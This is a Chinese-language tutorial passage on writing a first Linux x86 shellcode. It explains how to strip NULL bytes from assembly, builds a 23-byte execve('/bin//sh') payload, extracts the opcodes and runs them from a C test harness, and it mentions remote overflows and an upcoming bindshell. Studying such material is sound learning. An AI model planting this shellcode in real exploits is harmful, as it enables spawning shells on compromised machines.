三、第一个shellcode
最初当shellcode这个名词来临的时候,目的只是获得一个新的shell,在那时已经是一件很美妙的事情,接下来我们就来实现如何获得一个新的 shell来完成我们第一个shellcode的编写。这里需要注意的一个基本的关键的地方就是在shellcode中不能出现/x00也就是NULL字符,当出现NULL字符的时候将会导致shellcode被截断,从而无法完成其应有的功能,这确实是一个让人头疼的问题。那么有什么解决办法呢?我们先来抽取上个例子syscall中的16进制机器码来看看有没有出现/x00截断符:
| pr0cess@pr0cess:~$ objdump -d ./syscall ./syscall: file format elf32-i386 Disassembly of section .text: 08048074 <_start>: 8048074: b8 04 00 00 00 mov $0×4,%eax 8048079: bb 01 00 00 00 mov $0×1,%ebx 804807e: b9 98 90 04 08 mov $0×8049098,%ecx 8048083: ba 12 00 00 00 mov $0×12,%edx 8048088: cd 80 int $0×80 804808a: b8 01 00 00 00 mov $0×1,%eax 804808f: bb 00 00 00 00 mov $0×0,%ebx 8048094: cd 80 int $0×80 pr0cess@pr0cess:~$ |
噢!!!这个SB的程序在
8048074: b8 04 00 00 00 mov $0×4,%eax
这里就已经被00截断了,完全不能用于shellcode,只能作为一般的汇编程序运行。现在来分析下为什么会出现这种情况。现看这两段代码:
| movl $4,%eax movl $1,%ebx |
这两条指令使用的是32位(4字节)的寄存器EAX和EBX,而我们却只分别赋值了1个字节到寄存器中,所以系统会用NULL字符(00)来填充剩下的字节空间,从而导致shellcode被截断。知道了原因就可以找到很好的解决方法了,一个EAX寄存器是32位,32位寄存器也可以通过16位或者8位的名称引用,我们通过AX寄存器来访问第一个16位的区域(低16位),继续通过对AL的引用EAX寄存器的低8位被使用,AH使用AL后的高8位。
EAX寄存器的构成如下:
在syscall的例子中操作数$4和$1二进制都只占8位,所以只需要把这两个操作数赋值给AL就可以了,这样就避免了使用EAX寄存器时,系统用NULL填充其他空间。
我们来修改一下代码看看,把
| movl $4,%eax movl $1,%ebx |
改为
| mov $4,%al mov $1,%bl |
再重新编译连接syscall程序,并且查看一下objdump的结果:
| pr0cess@pr0cess:~$ ./syscall hello,syscall!!!! pr0cess@pr0cess:~$ objdump -d ./syscall ./syscall: file format elf32-i386 Disassembly of section .text: 08048074 <_start>: 8048074: b0 04 mov $0×4,%al 8048076: b3 01 mov $0×1,%bl 8048078: b9 90 90 04 08 mov $0×8049090,%ecx 804807d: ba 12 00 00 00 mov $0×12,%edx 8048082: cd 80 int $0×80 8048084: b8 01 00 00 00 mov $0×1,%eax 8048089: bb 00 00 00 00 mov $0×0,%ebx 804808e: cd 80 int $0×80 pr0cess@pr0cess:~$ |
看到了,已经成功的把 NULL字符给去掉了,同理可以把下面语句都改写一遍,这样就可以使这个程序作为shellcode运行了。
下面我们就来编写第一个有实际意义的shellcode,它将打开一个新的shell。当然,这在本地是没有什么意义,可是当它作为一个远程溢出在目标机器上打开shell的时候,那作用可就不能小视了。打开一个新的shell我们需要用到execve系统调用,先来看看man手册里是怎么定义这个函数的:
| NAME execve - execute program SYNOPSIS #include int execve(const char *filename, char *const argv[], char *const envp[]); 可以看到execve系统调用需要3个参数,为了说明怎么使用先来写一个简单的C程序来调用execve函数: #include int main() { char *sc[2]; sc[0]=”/bin/sh”; sc[1]= NULL; execve(sc[0],sc,NULL); } |
通过execve执行一个/bin/sh从而获得一个新的shell,编译来看下结果:
| pr0cess@pr0cess:~$ gcc -o newshell newshell.c pr0cess@pr0cess:~$ ./newshell $ exit pr0cess@pr0cess:~$ |
新shell已经成功的诞生了!!
为了编写execve的shellcode我们用汇编实现一下以上C程序的功能,代码如下:
| .section .text .globl _start _start: xorl %eax,%eax pushl %eax pushl $0×68732f6e pushl $0×69622f2f movl %esp,%ebx pushl %eax pushl %ebx movl %esp,%ecx movb $0xb,%al int $0×80 |
来解释一下这段代码,首先为了避免mov赋值带来的00,用一个异或操作来把EAX寄存器清空
xorl %eax,%eax
接着将4字节的NULL压栈
pushl %eax
将/bin//sh压栈,保持对齐,第一个参数
| pushl $0×68732f6e pushl $0×69622f2f |
将/bin//sh存放到EBX寄存器,第2个参数
movl %esp,%ebx
压4字节的NULL,第3个参数,环境变量为 NULL
pushl %eax
将EBX压栈
pushl %ebx
把EBX地址存入ECX寄存器
movl %esp,%ecx
将execve系统调用号11(0xb)压入AL寄存器,消00
movb $0xb,%al
调用int指令进入中断
int $0×80
OK,现在来测试一下这个程序是否能给我们带来一个新的shell
| pr0cess@pr0cess:~$ as -o exec.o exec.s pr0cess@pr0cess:~$ ld -o exec exec.o pr0cess@pr0cess:~$ ./exec $ exit pr0cess@pr0cess:~$ |
HOHO~~成功执行了!!接着来提取16进制机器码
| pr0cess@pr0cess:~$ objdump -d ./exec ./exec: file format elf32-i386 Disassembly of section .text: 08048054 <_start>: 8048054: 31 c0 xor %eax,%eax 8048056: 50 push %eax 8048057: 68 6e 2f 73 68 push $0×68732f6e 804805c: 68 2f 2f 62 69 push $0×69622f2f 8048061: 89 e3 mov %esp,%ebx 8048063: 50 push %eax 8048064: 53 push %ebx 8048065: 89 e1 mov %esp,%ecx 8048067: b0 0b mov $0xb,%al 8048069: cd 80 int $0×80 pr0cess@pr0cess:~$ |
放到一个C程序中来完成整个shellcode的编写测试吧
| /* *linux/x86 execve(”/bin//sh/”,["/bin//sh"],NULL) shellcode 23bytes *xuanmumu@gmail.com */ pr0cess@pr0cess:~$ objdump -d exec exec: file format elf32-i386 Disassembly of section .text: 08048054 <_start>: 8048054: 31 c0 xor %eax,%eax 8048056: 50 push %eax 8048057: 68 6e 2f 73 68 push $0×68732f6e 804805c: 68 2f 2f 62 69 push $0×69622f2f 8048061: 89 e3 mov %esp,%ebx 8048063: 50 push %eax 8048064: 53 push %ebx 8048065: 89 e1 mov %esp,%ecx 8048067: b0 0b mov $0xb,%al 8048069: cd 80 int $0×80 pr0cess@pr0cess:~$ char sc[] = “\x31\xc0″ “\x50″ “\x68\x6e\x2f\x73\x68″ “\x68\x2f\x2f\x62\x69″ “\x89\xe3″ “\x50″ “\x53″ “\x89\xe1″ “\xb0\x0b” “\xcd\x80″ ; int main() { void (*fp)(void) = (void (*)(void))sc; printf(”Length: %d\n”,strlen(sc)); fp(); } pr0cess@pr0cess:~$ gcc -o execve execve.c pr0cess@pr0cess:~$ ./execve Length: 23 $ exit pr0cess@pr0cess:~$ |
成功了!我们编写了第一个linux下的shellcode,并且能顺利工作了。稍微休息一下,下一节带来一个更cool的bindshell功能的shellcode~~
进入讨论组讨论。相关专题
- 格式化都没用 如何清除不可杀病毒? (118次浏览)
- 数据安全:数据丢失的恢复大法 (86次浏览)
- 网管经验:轻松解决ARP病毒引发的断网问题 (37次浏览)
- 网络攻击技术与攻击工具六大趋势 (31次浏览)
- 安装程序出现NSIS ERROR错误解决思路 (30次浏览)
- 安全专家:真实的网络攻击取证纪实 (23次浏览)
- 计算机在中毒后的五大紧急处理措施 (19次浏览)
- 硬件篇:安装程序NSIS ERROR错误解决方法 (16次浏览)
- 病毒篇:安装程序NSIS ERROR错误解决方法 (14次浏览)
- 高级SSH安全技巧 (12次浏览)



